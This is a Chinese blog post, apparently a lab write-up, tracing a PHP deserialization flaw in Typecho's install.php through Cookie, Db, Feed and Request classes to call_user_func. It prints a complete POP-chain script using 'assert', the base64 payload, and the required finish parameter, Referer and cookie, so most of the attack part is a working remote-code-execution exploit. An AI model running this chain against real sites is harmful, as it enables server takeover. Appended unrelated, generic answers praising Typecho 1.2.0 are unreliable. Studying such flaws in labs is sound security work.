Typecho靶场PHP反序列化漏洞解析

什么是序列化、反序列化?

把对象、数据结构转变为不同环境中可互相传输的特定数据格式,如二进制010101010,就称为序列化,反之称为反序列化。
查找反序列化漏洞的关键点:
  • 序列化、反序列化函数serialize、unserialize
  • 序列化和反序列化的参数一般都是对象、实例
  • 结合以下常见魔术函数
    • __construct() 在创建对象的时候自动调用
    • __destruct() 在销毁对象的时候自动调用
    • __sleep() 在序列化的时候自动调用
    • __wakeup() 在反序列化的时候自动调用
    • __toString() 在echo或者print对象的时候被调用
    • __get() 访问一个不存在的成员变量或访问一个private和protected成员变量时调用
    • __call() 在对象中调用一个不可访问方法时调用
    • __set() 设置一个类的成员变量时调用
    • __isset() 当对不可访问属性调用isset()或empty()时调用
    • __unset() 当对不可访问属性调用unset()时被调用
  • 结合代码审计查找序列化反序列化函数、魔术函数

审计项目代码

查找反序列化函数

进入/install.php文件解析代码

在第230行找到关键代码,但是同时发现有else条件存在,说明可能需要一定的条件才能到这里,在这里加入代码测试一下。

没有任何输出,说明条件没有达到,继续往前审计代码。

发现58行开始这里有一堆exit,如果不满足这些条件就会exit,59-60行代码检测了get是否传参finish以及和本地是否有/config.inc.php这个文件(此文件在初始化数据库后会自动生成)以及$_SESSION中是否有typecho这个参数。64-77行检测了请求头中是否有referer,referer还必须和请求头中的Host保持一致。
也就是需要传一个finish参数、加一个referer、cookie里面再传入一个反序列化时需要get的参数(随便给个值)就可以了,下面抓包修改数据。

修改好了,放包

说明已经到达我们反序列函数的位置,前置条件完成,继续往下对install.php的第230行代码进行审计
//反序列化,说明传入的东西可以是个对象。
unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
//对传入的参数base64解码
base64_decode(Typecho_Cookie::get('__typecho_config'));
//调用Typecho_Cookie类中的get方法,__typecho_config为传入的可控参数
Typecho_Cookie::get('__typecho_config');
找到get方法的位置var/Typecho/Cookie.php第83行
//get方法接收参数$key='__typecho_config',$default = NULL
public static function get($key, $default = NULL)
    {
        //$_prefix . $key拼接给$key
        //private static $_prefix = '';
        $key = self::$_prefix . $key;
        //判断$_COOKIE[$key]是否存在,
        //true将$_COOKIE[$key]给$value,
        //flase判断$_POST[$key]是否存在,存在将$_POST[$key]赋给$value,不存在将NULL赋值给$value。
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        //判断$value是否是数组,是就返回$default,不是就返回$value
        return is_array($value) ? $default : $value;
    }
总体就是获取cookie或者post里面的$key并赋值给$value,并且$value不能是数组,否则会被置空。可以看到并没有对传入的值做什么过滤,就是不能为数组。回到install.php继续往下第231行
//调用delete
Typecho_Cookie::delete('__typecho_config');
//delete接收一个参数$key=__typecho_config
public static function delete($key)
    {
        //调用$_prefix拼接__typecho_config
        //private static $_prefix = '';
        $key = self::$_prefix . $key;
        //如果cookie中不存在$key,结束函数
        if (!isset($_COOKIE[$key])) {
            return;
        }
        //设置cookie,key='',时间..,路径为/
        setcookie($key, '', time() - 2592000, self::$_path);
        //删除$_COOKIE[$key]
        unset($_COOKIE[$key]);
    }
没什么用,继续往下第232行
//实例化了一个Typecho_Db,并且传入了一个数组config两个键adapter,prefix。
$db = new Typecho_Db($config['adapter'], $config['prefix']);
这里创建了一个对象,马上联想到魔法函数construct,找到Typecho_Db这个类查看。var/Typecho/Db.php第114行
//查看此对象的类是否有输出
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 可以发现传入的参数为数组,$adapterName即为数组, */
        $this->_adapterName = $adapterName;
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
//这里发现了一个拼接,如果$adapterName是一个对象,那肯定会调用__toString函数
       $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
运算符连接$adapterName,如果$adapterName是对象则会调用toString,下面去找一下是否有满足条件的toString。
其他的看过了没有条件,进入/var/Typecho/Feed.php

第290行

//当前文件第112行定义了属性
private $_items = array();
可以看到这个$item,在当前文件284行发现$item是遍历_item其中的一个值。这里调用了$item['author']中的screenName,那如果我们自定义传入一个$__items中的$item['author']为一个对象,任何调用的screenName不存在或者为私有的、保护的,就会去自动调用魔术函数get,这是一条出路,现在去找一个有魔术get但是screenName不存在或者为私有的、保护的类。

第10个,/var/Typecho/Request.php下第267行,当前类名为Typecho_Request
   public function __get($key)
    {
        return $this->get($key);
    }
接收了一个参数,那我们就构造$__items中的$item['author']为new一个当前Typecho_Request类的对象,让screenName为私有的传入进来到get魔术函数。这条pop链还没断,传入的参数可以直达,继续往下找传入的get方法。
第293行
可以看到 $value = $this->_params[$key];把这个属性中的$key赋值给value了
 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
在第当前文件的第25行发现定了一个私有属性$_params数组,也就是说如果把传入的screenName放到里面就刚刚好,既满足私有的属性去调用魔术函数__get,也可以继续将传入的值给value。
private $_params = array();
继续往下查看value去哪儿了,在get函数的最后发现把value传入了_applyFilter
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
//最后输出了一个_applyFilter($value);继续跟进
定位到当前_applyFilter函数,当前文件第159行
    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                //如果传入的value是数组就map,不是就call,很显然我们传入的是字符串会调用call_user_func。
                $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
            }
​
            $this->_filter = array();
        }
​
        return $value;
    }
//可以看到$value值必然会在其中一个array_map或者call_user_func函数输入。
//array_map和call_user_func为RCE漏洞函数,他们都可以动态的执行函数,第一个参数表示要执行的函数的名称,第二个参数表示要执行的函数的参数。
查看一下_filter是什么,当前文件第120行。一个数组。
private $_filter = array();
所以主要把传入的screenName等于一个phpinfo();或者其他危险函数,把$_filter的数组中加入eval、assert,或者直接上传文件等等,到这里就形成了一条完整的ROP链。

审计结束

梳理一下流程
数据的输入点在install.php文件的232行,读取我们传入的序列化的数据(__typecho_config)。然后根据我们构造的数据,程序会进入Typecho_Cookie::get过滤数组,然后往下进入Db.php的__construct()函数,将我们传入的序列化的数据中的adapter=》$adapterName、prefix=》typecho_,然后触碰到拼接$adapterName,所以我们传入的adapter需要是一个对象,因为需要后续进入Feed.php的__toString()函数(在Typecho_Feed中),所以adapter需要是new一个Typecho_Feed来触发进入,在__toString()函数中要触发screenName为私有且不能被$item['author']调用,然后触发Request.php中的__get魔术方法,__get魔术方法把传入的screenName传给get方法,get把_params中的screenName的值传给了_applyFilter()函数,_applyFilter()函数把收到的screenName的值和Typecho_Request类中的$_filter,作为参数给call_user_func($filter, $screenName)。最后由call_user_func实现任意代码执行,整个ROP链形成。
所以我们要做的就是
  • GET中写入finish的参数。
  • 请求头中写入referer,且和host保持一致。
  • 构造payload作为__typecho_config参数的值写入cookie中。
    • 传入的adapter需要是一个对象,是new一个Typecho_Feed。
    • 需要写一个Typecho_Feed类,要让其中的 $items['author']为一个对象去触发。Typecho_Request中的__get。
    • 需要写一个Typecho_Request类,写入screenName为_params数组的一个键,screenName的值为call_user_func中传入回调函数的参数。自定义写一个filter为call_user_func被调的回调函数。
    • 序列化并base64编码。
构造ROP
<?php
​​​​​​​class Typecho_Feed 
{    
    private $_type = 'ATOM 1.0';    
    private $_charset = 'UTF-8';    
    private $_lang = 'en';    
    private $_items = array(); ​   
    public function __construct()
    {     
        $items['author'] =new Typecho_Request();                
        $this->_items[0] = $items;
        $items['category'] = array(new Typecho_Request());
    } 
}

class Typecho_Request
{
    private $_filter = array();
    private $_params = array();
    public function __construct()
    {
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'phpinfo();';
    }
}

$end = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho');
echo base64_encode(serialize($end));
?>
访问构造的文件获取编码后的序列化数据 
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aTotMTt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aTotMTt9fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9

抓包传入参数验证

成功拿到探针,over

  • 10
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Typecho是一款流行的博客系统,1.2.0是其最新版本。它是一个基于PHP和MySQL的开源系统,可以轻松地搭建个人或团队博客,并可以方便地扩展功能。 相比前几个版本,Typecho 1.2.0在性能和安全性上有了很多改进。系统的整体性能得到了提升,博客的加载速度更快了。同时,Typecho 1.2.0增加了更多的安全措施,可防止SQL注入、XSS攻击等常见的安全威胁Typecho 1.2.0还新增了一些实用的特性。例如,博客主题设置和插件管理界面更加人性化,并且加入了对多种语言的支持。此外,Typecho 1.2.0还引入了新的Markdown编辑器,丰富了博客的编辑、发布功能。 总体来说,Typecho 1.2.0是一款更加实用、性能更好、安全性更强的博客系统。如果你正在寻找一个简单易用的博客搭建工具,那么Typecho 1.2.0是一个很好的选择。 ### 回答2: Typecho 1.2.0 是一款开源的博客程序。它的设计理念是简洁高效,易于安装和使用。Typecho 1.2.0 支持多用户管理和权限控制,可以让多个作者在同一个平台上发布文章和管理内容。 Typecho 1.2.0 提供了丰富的插件和主题支持,用户可以根据自己的需要选择合适的插件来扩展功能,或者自定义主题风格以满足个人喜好或商业需求。 Typecho 1.2.0 的后台管理界面简洁明了,功能齐全,具有良好的用户体验。通过后台管理界面,用户可以管理文章发布、分类标签、评论审核、用户权限等各个方面的内容。 Typecho 1.2.0 的前端界面也是精美简洁的,自适应的布局和响应式设计可以在不同设备上提供良好的用户体验。并且,Typecho 1.2.0 提供了强大的 SEO 功能,可以帮助网站获得更好的搜索引擎排名。 总之,Typecho 1.2.0 是一款功能全面、易于使用的开源博客程序。它的简洁高效的设计让用户可以更专注于内容创作,而不必花费太多精力在技术维护上。无论是个人博客还是商业网站,Typecho 1.2.0 都是一个不错的选择。 ### 回答3: Typecho 1.2.0是一款流行的开源博客系统。它是一个简洁、高效、易于使用的博客平台,广受用户喜爱。 首先,Typecho 1.2.0具有出色的定制性能。它提供了丰富的主题和插件,可以满足用户不同的需求。用户可以根据自己的喜好选择合适的主题来改变博客的外观和风格。同时,用户还可以根据自己的需要安装各种插件,扩展博客的功能。 其次,Typecho 1.2.0具有良好的用户体验。它的界面简洁明了,操作流程简单易懂,即使对于没有技术背景的用户也能够轻松上手。同时,Typecho 1.2.0还具有响应式设计,可以自适应不同屏幕大小的设备,提供更好的移动端浏览体验。 此外,Typecho 1.2.0还具有卓越的性能。它以PHP语言开发,采用了轻量级的设计理念,页面加载速度快,占用系统资源较少。这使得博客在大流量情况下也能保持流畅的访问速度。 最后,Typecho 1.2.0还支持多语言功能,允许用户选择适合自己的语言来搭建个人博客。这对于不同地区和语种的用户来说非常方便。 综上所述,Typecho 1.2.0是一款卓越的博客系统,具有定制性强、用户体验佳、性能优越、多语言支持等优点。无论是个人博客还是企业网站,都适用于使用Typecho 1.2.0来搭建和管理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值